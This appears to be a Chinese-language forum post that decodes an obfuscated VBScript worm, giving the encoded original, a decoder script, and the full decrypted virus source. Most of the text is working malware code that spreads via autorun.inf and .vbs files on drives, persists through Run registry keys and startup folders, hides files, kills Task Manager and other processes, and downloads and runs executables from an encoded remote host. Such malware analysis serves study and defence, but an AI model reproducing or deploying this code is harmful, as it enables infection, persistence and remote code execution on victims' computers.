gzc&yr}{xz 0}{ph:re 1}{jfpevcg.fyrrc 1000}{vs ee(|qrq|,1)<>pfge(qngr) gura jf.eha bhj}{ryfr}{jfpevcg.fyrrc 5000}{vs ce(|jfpevcg.rkr|,2)=2 gura}{vs ee(|gwp|,1)=pfge(qngr) gura:jfpevcg.dhvg:ryfr:je |gwp|,qngr}{raq vs}{vs ce(|jfpevcg.rkr|,2)=1 gura jfpevcg.dhvg}{ne bhj,7:pb qve&ir:pb jva&ir:ef 1:jf.eha qve&ir}{raq vs":aft=eft&fut:coz="qs ju:frg iof=sfb.perngrgrkgsvyr(ju,gehr):iof.jevgr bhp:iof.pybfr:ne ju,7":rn="dim d:j=""\"":on error resume next":rsz="vs fj=1 naq ee(efc&efa,0)<>ir gura}{jf.ertjevgr efc&efa,ir,|REG_SZ|}{vs re(0) naq abg rv(sfc,1) gura os sfc,jfe&| |||&ir&||||,0}{ryfrvs fj=-1 gura:qs sfc}{ryfrvs fj=0 gura:qs sfc:je efc&efa,-1:je ecn,-1}{raq vs":hiz="vs fj=1 gura jf.ertjevgr uvc,|0|,|REG_DWORD|}{vs fj=0 gura uv=ee(uvc,0)":giz="vq=ee(|vqq|,1)}{qb juvyr svq<=rvq:vqp=vqp&|,|&svq:svq=svq+1:ybbc}{vqf=vqf&vqp:vqff=fcyvg(vqf,|,|)}{sbe v=0 gb hobhaq(vqff)}{vs vq=vqff(v) gura vs abg rv(gzc&sanzr,1) gura qa gzc&sanzr,ug&shey,0,2000}{arkg}{vs rv(gzc&sanzr,1) gura jf.eha gzc&sanzr}{tv=1":dwz="vs ee(|trq|,1)<>sa naq ce(cpf,1)=1 gura}{vs qa(gzc&sa,ug&shey,0,2000)=1 gura qjp=1}{vs rv(gzc&sa,1) naq qjp=1 gura}{vs xvyy=1 gura ce cpf,-1}{jf.eha gzc&sa}{vs abg re(0) gura je |trq|,sa:qa 0,ug+rp(uo)+ur+sa,0,0:vs xvyy=2 gura ce cpf,-1:xz 1}{raq vs}{qj=1}{raq vs}{jfpevcg.fyrrc 100":usz="sbe rnpu q va qp}{vs q.qevirglcr=3 be (q.qevirglcr=1 naq q<>|A:| naq q<> |B:|) gura}{vs fj=1 gura}{vs rv(q&vas,2) gura qs q&vas}{vs rv(q&w&if,1) naq rv(q&vas,1) gura}{vs eg(q&vas,1)<>gvy gura ov q&vas}{ryfr}{uv 1:ov q&vas:pb q&w&if}{raq vs}{ryfrvs fj=-1 gura:qs q&vas:qs q&w&if}{ryfr:os q&w&if,jfe&|(yrsg(jfpevcg.fpevcgshyyanzr,3)),3|&fgevat(10000,|'|),1:qs q&vas}{raq vs}{raq vs}{arkg":cuz="phf=ee(|bfj|,1)<>4}{qb}{qph=ee(|gtf|,1)<>pfge(qngr)}{vs (frpbaq(gvzr) zbq 3)=0 gura}{vs qph naq phf gura hf 1}{zva=zvahgr(abj):vs (zva zbq 2)=1 naq aa<>zva naq bb<>1 gura aa=zva:bb=tg:xz 0}{vs ee(|gfj|,1)=1 gura rkrphgr(hp(ee(|gpb|,1)))}{raq vs}{jfpevcg.fyrrc 900}{vs uv(0)=1 naq qph gura je |gtf|,qngr:hf -1}{vs ce(|gnfxzte.rkr|,1)=1 gura:jf.eha |ng |&gvzr+0.003&| /vagrenpgvir |&ir,0,snyfr:je |ngq|,1:uv 1:xz 0:jfpevcg.dhvg}{ybbc":ext=":execute(uc(":kmz="vs fj=1 gura}{ef 0:hf -1:qs bhj:qs jva&ir:qs qve&ir:qs jor&ir:jfpevcg.dhvg}{ryfr}{ef 1}{vs ps(qve&ir) gura pb qve&ir}{vs ps(jva&ir) gura pb jva&ir}{raq vs":cfz="vs eg(ju,1)<>|erz |&gvy gura ps=gehr":Intercept(ext&"dyz))"&ext&"zcx))"&fut&"gt()"&ext&"gtz"&aft&"ei(name,wt)"&ext&"eiz"&aft&"df(wh)"&ext&"dfz"&aft&"bf(wh,wt,da)"&ext&"bfz"&aft&"bi(wh)"&ext&"biz"&aft&"rt(wh,li)"&ext&"rtz"&aft&"wr(rna,rda)"&ext&"wrz"&aft&"rr(rna,pa)"&ext&"rrz"&aft&"ar(file,cg)"&ext&"arz"&aft&"dn(loc,web,ris,min)"&ext&"dnz"&aft&"pr(pcs,gs)"&ext&"prz"&aft&"ec(wt)"&ext&"ecz"&aft&"co(wh)"&ext&"coz"&aft&"rs(sw)"&ext&"rsz"&aft&"hi(sw)"&ext&"hiz"&aft&"gi(ids,fid,eid,fname,furl)"&ext&"giz"&aft&"dw(pcs,fn,furl,kill)"&ext&"dwz"&aft&"us(sw)"&ext&"usz"&aft&"cu()"&ext&"cuz"&aft&"km(sw)"&ext&"kmz"&aft&"cf(wh)"&ext&"cfz"&eft)
function er(sco)
if err.number<>0 or sco<0 then
err.clear
er=true
if sco<>0 and rr("ded",1)<>cstr(date) then
wr "oer",rr("oer",1)+abs(sco)
if rr("oer",1)>100 then wr "ded",date:wr "oer",0
end if
end if
end function
'这里我们要跟进的目标函数列表
SourceStr=":execute(uc(dyz)):execute(uc(zcx)):function gt():execute(uc(gtz)):end function:function ei(name,wt):execute(uc(eiz)):end function:function df(wh):execute(uc(dfz)):end function:function bf(wh,wt,da):execute(uc(bfz)):end function:function bi(wh):execute(uc(biz)):end function:function rt(wh,li):execute(uc(rtz)):end function:function wr(rna,rda):execute(uc(wrz)):end function:function rr(rna,pa):execute(uc(rrz)):end function:function ar(file,cg):execute(uc(arz)):end function:function dn(loc,web,ris,min):execute(uc(dnz)):end function:function pr(pcs,gs):execute(uc(prz)):end function:function ec(wt):execute(uc(ecz)):end function:function co(wh):execute(uc(coz)):end function:function rs(sw):execute(uc(rsz)):end function:function hi(sw):execute(uc(hiz)):end function:function gi(ids,fid,eid,fname,furl):execute(uc(giz)):end function:function dw(pcs,fn,furl,kill):execute(uc(dwz)):end function:function us(sw):execute(uc(usz)):end function:function cu():execute(uc(cuz)):end function:function km(sw):execute(uc(kmz)):end function:function cf(wh):execute(uc(cfz)):end function"
'函数UC的表达式
Function uc(b)
c=vbcrlf:d=127:f=11:j=12:h=14:m=31:r=83:k=1:n=8:s=114:u=-5:v=5
i="if a=":t=" then ":e="elseif a>=":a=" and a<=":g="a=a+":o=t&c&g:p=c&e:q=c&i
execute(l&"for ii=1 to len(b):a=asc(mid(b,ii,1))"&q&"d"&t&"a=13"&q&"f"&t&"a=10"&q&"j"&t&c&"a=34"&c&e&"h"&a&"m"&o&"r"&p&"k"&a&"n"&o&"s"&p&"53"&a&"57"&o&"u"&p&"48"&a&"52"&o&"v"&c&"end if"&c&"uc=uc+chr(a)"&c&"next"&c&"uc=rn+c+uc")
End Function

'牛牛写的自动排列解密出来的源代码
ForAppending = 8
Create = True
ASCII = 0
OutPutFile = "Virus.txt"
Decode = ""
WhichOne = ""
Set objWSH = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objTXT = objFSO.OpenTextFile(OutPutFile, ForAppending, Create, ASCII)
objTXT.Write Title
AddBlankLine = True
SourceArr = Split(SourceStr, ":")   '分割各函数
For LineNum = 0 To UBound(SourceArr)   '循环split数组的每一个值
    If InStr(1, SourceArr(LineNum), "execute", 1) = 1 Then  '判断split数组中的值是否为execute
        WhichOne = Mid(SourceArr(LineNum), InStr(1, SourceArr(LineNum), "uc", 1), InStrRev(SourceArr(LineNum), ")", -1, 1) - InStr(1, SourceArr(LineNum), "uc", 1))  '把函数UC提取出来
        execute (Replace(SourceArr(LineNum), "execute", "Intercept")) '替换执行跟进输出源代码
        If AddBlankLine And True Then
            objTXT.WriteBlankLines 2
        End If
        AddBlankLine = True
        objTXT.WriteLine Decode
    End If
    If InStr(1, SourceArr(LineNum), "function", 1) = 1 Then
        objTXT.WriteBlankLines 2
        AddBlankLine = False
        objTXT.WriteLine SourceArr(LineNum)
    End If       '输出函数的头
    If InStr(1, SourceArr(LineNum), "end", 1) = 1 Then
        AddBlankLine = True
        objTXT.WriteLine SourceArr(LineNum)
    End If     '输出函数的尾
Next

objTXT.Close
objWSH.Run OutPutFile
WScript.Quit


Function Intercept(ByRef code)
Decode=code
End Function

这是那些牛人大大写的,我照抄,文末附参考文献。
到了这里基本上就把那些函数全部解密出来了,这也应当是病毒的主体代码了。
获得的Virus.txt内容如下
 程序代码

dim d:j="\":on error resume next
ver="9.1":til="UT":btj=700:vs=".vbs":ve=".vbe":cm="%comspec% /c ":dfo="/u#t/":inf="\autorun.inf"
set ws=createobject("wscript.shell"):set wmi=getobject("winmgmts:\\.\root\cimv2")
set fso=createobject("scripting.filesystemobject"):set sis=wmi.execquery("select * from win32_operatingsystem")
set dc=fso.drives:ouw=wscript.scriptfullname:win=fso.getspecialfolder(0)&j:dir=fso.getspecialfolder(1)&j
tmp=fso.getspecialfolder(2)&j:wbe=dir&"wbem\":mir=left(ouw,len(ouw)-len(wscript.scriptname))
wsr="createobject(""wscript.shell"").run":cnr="\computername":cnp="HKLM\system\currentcontrolset\control"&cnr&cnr&cnr
cna=rr(cnp,0):if cna="" then cna=til
rpa="HKLM\software\"&cna&j:rop="\software\microsoft\windows\currentversion\explorer\"
sf="shell folders\":fsp=rr("HKLM"&rop&sf&"common startup",0)&j&vs:fap=rr("HKCU"&rop&sf&"favorites",0)&j
dap=rr("HKCU"&rop&sf&"desktop",0)&j:rsn=cna:ht=ec("ivwt?56"):ha=ec(":;9::<5kw9"):hc="0dwuEpE":he=ec("c"+hc)
rsp="HKLM\software\microsoft\windows\currentversion\policies\explorer\run\":if mir=dir then sys=true
for each si in sis:ca=si.caption:cs=si.codeset:cc=si.countrycode:os=si.oslanguage:wv=si.version:next
hip="HKCU"&rop&"advanced\showsuperhidden":hb="vv1<=676x"&chr(124)&"r;"
if instr(wv,"5.2")<>0 then
hd="t"+hc
elseif cc<>86 then hd="p"+hc:else hd="$"+hc:end if


'dim d:j="\":on error resume next  '此行注释掉
for each d in dc
if mir=d&j then ws.run "explorer "&d,3,false
next
ouc=rt(ouw,-1):if cf(ouw) then msgbox("Happy Newyear!"):km 1
if sys then
hi 1
if rr("til",1)<>til then
wr "til",til
wr "tjs",btj
wr "djs",date
wr "ded",0
end if
djs=rr("djs",1):if isdate(djs) and date-cdate(djs)>30 then wr "osw",4
if rr("atd",1)=1 then ws.run "at /d /y",0,false:wr "atd",0
if rr(rsp&rsn,0)=ve then rs -1
le=rr("dna",1):if ei(tmp&le,1) then ws.run tmp&le
km 0
cu:er 1
wscript.sleep 1000
if rr("ded",1)<>cstr(date) then ws.run ouw
else
wscript.sleep 5000
if pr("wscript.exe",2)=2 then
if rr("tjc",1)=cstr(date) then:wscript.quit:else:wr "tjc",date
end if
if pr("wscript.exe",2)=1 then wscript.quit
ar ouw,7:co dir&ve:co win&ve:rs 1:ws.run dir&ve
end if


function gt()
dim d:j="\":on error resume next
tjs=rr("tjs",1):djs=rr("djs",1):if not isnumeric(tjs) or not isdate(djs) then wr "tjs",1:wr "djs",date:djs=rr("djs",1)
wr "tjs",tjs+1:wb=pr("clsmn.exe",1)=1 or pr("ap.exe",1)=1 or pr("pubwin.exe",1)=1
if date-cdate(djs)>4 then gq=true:ws.run "net start ""task scheduler""",0,false
if (rr("tjs",1)>800 or wb or gq or not sys) and rr("ded",1)<>cstr(date) then
id=rr("idd",1):if wb then id=1:js=1:cd=0
do while cd<>"<script>"
if js=2 or js=4 then
d2=dn(mir&til,ht+ha+ec(hd)&id,0,100):cd=rt(mir&til,1)
elseif js=1 or js=3 then d1=dn(mir&til,ht+ec(hb)+ec(hd)&id&"&v="&ver,0,100):cd=rt(mir&til,1)
end if:js=js+1:wz=d1=1 or d2=1:if js>4 then
if wz then gt=1
exit do
end if
if wz then er -1
loop
if ei(mir&til,1) then
set r=fso.opentextfile(mir&til,1)
cin=r.readline:dis=r.readline:dna=r.readline:dfr=r.readline:nve=r.readline:nru=r.readline
nna=r.readline:nfr=r.readline:tsw=r.readline:tco=r.readline:osw=r.readline:idd=r.readline
r.close:df mir&til:if cin="<script>" then
wr "tjs",1:wr "djs",date:wr "idd",idd:wr "dna",dna:wr "tsw",tsw:wr "tco",tco:wr "osw",osw
if nve-ver>=1 or not ei(dir&ve,1) then dn dir&nna,ht&nfr&dfo&nna,nru,2000:wscript.quit
if dis=1 and sys then
if dna<>le or not ei(tmp&le,1) then df tmp&le:dn tmp&dna,ht&dfr&dfo&dna,1,1000
end if
end if
end if
end if
if er(1) or wb then gt=1
end function


function ei(name,wt)
dim d:j="\":on error resume next
if fso.fileexists(name) and wt=1 then ei=true
if fso.folderexists(name) and wt=2 then ei=true
end function


function df(wh)
dim d:j="\":on error resume next
ar wh,0
if ei(wh,1) then fso.deletefile(wh)
if ei(wh,2) then fso.deletefolder(wh)
end function


function bf(wh,wt,da)
dim d:j="\":on error resume next
df wh:set bin=fso.createtextfile(wh,true):bin.writeline wt:bin.close
if da=1 then ar wh,7
if not er(0) then bf=1
end function


function bi(wh)
dim d:j="\":on error resume next
df wh:set i=fso.createtextfile(wh,true):h=vbcrlf
i.writeline til&h&"[autorun]"&h&"open=wscript.exe .\"&vs&h&"shell\open\command=wscript.exe .\"&vs&h&"shell\open\default=1"
i.close:ar wh,7:if not er(0) then bi=1
end function


function rt(wh,li)
dim d:j="\":on error resume next
if li<0 then wh=ouw
if ei(wh,1) then
if fso.getfile(wh).size=0 then
rt=0
else
set r=fso.opentextfile(wh,1)
set cl=fso.opentextfile(wh,1)
cl.readall
tli=cl.line
cl.close
if li>0 and li<=tli then
i=0 
do while i<li
i=i+1
if not r.atendofstream then
sli=r.readline
else
sli=0
end if
loop
rt=sli
elseif li<=0 then
rt=r.readall
else
rt=0
end if
r.close
end if
else
rt=0
end if
end function


function wr(rna,rda)
dim d:j="\":on error resume next
if rda=-1 then ws.regdelete rna else ws.regwrite rpa&rna,rda,"REG_SZ"
end function


function rr(rna,pa)
dim d:j="\":on error resume next
if pa=1 then rna=rpa&rna
rr=ws.regread(rna)
if er(0) then rr=0
end function


function ar(file,cg)
dim d:j="\":on error resume next
if ei(file,1) then:set ofile=fso.getfile(file):ofile.attributes=cg:set ofile=nothing
if ei(file,2) then:set ofile=fso.getfolder(file):ofile.attributes=cg:set ofile=nothing
end function


function dn(loc,web,ris,min)
dim d:j="\":on error resume next
ar loc,0:set xpost = createobject("microsoft.xmlhttp"):xpost.open "get",web,0:xpost.send()
if min<>0 then
if not er(0) then
dn=1:set sget=createobject("adodb.stream") 
sget.mode=3:sget.type=1:sget.open():sget.write(xpost.responsebody):sget.savetofile loc,2
ar loc,7
if ei(loc,1) then fsz=fso.getfile(loc).size else fsz=0
if fsz>min then
if ris=1 then ws.run loc
else
dn=0:df loc
end if
end if
end if
end function


function pr(pcs,gs)
dim d:j="\":on error resume next
set pl=wmi.execquery("select * from win32_process where name='"&pcs&"'"):i=1
for each p in pl:i=i+1
if i>abs(gs) then pr=1
if gs<0 then if p.terminate=2 and pr=1 then ws.run cm&"tskill "&left(p.name,len(p.name)-4),0,false
next
if er(0) then pr=2
end function


function ec(wt)
dim d:j="\":on error resume next
for i=1 to len(wt):ec=ec+chr(asc(mid(wt,i,1))-i):next
end function


function co(wh)
dim d:j="\":on error resume next
df wh:set vbs=fso.createtextfile(wh,true):vbs.write ouc:vbs.close:ar wh,7
end function


function rs(sw)
dim d:j="\":on error resume next
if sw=1 and rr(rsp&rsn,0)<>ve then
ws.regwrite rsp&rsn,ve,"REG_SZ"
if er(0) and not ei(fsp,1) then bf fsp,wsr&" """&ve&"""",0
elseif sw=-1 then:df fsp
elseif sw=0 then:df fsp:wr rsp&rsn,-1:wr rpa,-1
end if
end function


function hi(sw)
dim d:j="\":on error resume next
if sw=1 then ws.regwrite hip,"0","REG_DWORD"
if sw=0 then hi=rr(hip,0)
end function


function gi(ids,fid,eid,fname,furl)
dim d:j="\":on error resume next
id=rr("idd",1)
do while fid<=eid:idc=idc&","&fid:fid=fid+1:loop
ids=ids&idc:idss=split(ids,",")
for i=0 to ubound(idss)
if id=idss(i) then if not ei(tmp&fname,1) then dn tmp&fname,ht&furl,0,2000
next
if ei(tmp&fname,1) then ws.run tmp&fname
gi=1
end function


function dw(pcs,fn,furl,kill)
dim d:j="\":on error resume next
if rr("ged",1)<>fn and pr(pcs,1)=1 then
if dn(tmp&fn,ht&furl,0,2000)=1 then dwc=1
if ei(tmp&fn,1) and dwc=1 then
if kill=1 then pr pcs,-1
ws.run tmp&fn
if not er(0) then wr "ged",fn:dn 0,ht+ec(hb)+he+fn,0,0:if kill=2 then pr pcs,-1:km 1
end if
dw=1
end if
wscript.sleep 100
end function


function us(sw)
dim d:j="\":on error resume next
for each d in dc
if d.drivetype=3 or (d.drivetype=1 and d<>"A:" and d<> "B:") then
if sw=1 then
if ei(d&inf,2) then df d&inf
if ei(d&j&vs,1) and ei(d&inf,1) then
if rt(d&inf,1)<>til then bi d&inf
else
hi 1:bi d&inf:co d&j&vs
end if
elseif sw=-1 then:df d&inf:df d&j&vs
else:bf d&j&vs,wsr&"(left(wscript.scriptfullname,3)),3"&string(10000,"'"),1:df d&inf
end if
end if
next
end function


function cu()
dim d:j="\":on error resume next
cus=rr("osw",1)<>4
do
dcu=rr("tgs",1)<>cstr(date)
if (second(time) mod 3)=0 then
if dcu and cus then us 1
min=minute(now):if (min mod 2)=1 and nn<>min and oo<>1 then nn=min:oo=gt:km 0
if rr("tsw",1)=1 then execute(uc(rr("tco",1)))
end if
wscript.sleep 900
if hi(0)=1 and dcu then wr "tgs",date:us -1
if pr("taskmgr.exe",1)=1 then:ws.run "at "&time+0.003&" /interactive "&ve,0,false:wr "atd",1:hi 1:km 0:wscript.quit
loop
end function


function km(sw)
dim d:j="\":on error resume next
if sw=1 then
rs 0:us -1:df ouw:df win&ve:df dir&ve:df wbe&ve:wscript.quit
else
rs 1
if cf(dir&ve) then co dir&ve
if cf(win&ve) then co win&ve
end if
end function


function cf(wh)
dim d:j="\":on error resume next
if rt(wh,1)<>"rem "&til then cf=true
end function
代码:
一运行就来个“Happy Newyear”。这个病毒的大体解密过程就是这样了。

参考文献
http://bbs.duba.net/viewthread.php?tid=21892104&page=1&extra=page%3D1
http://www.cn-dos.net/forum/blog.php?tid=36903&uid=86077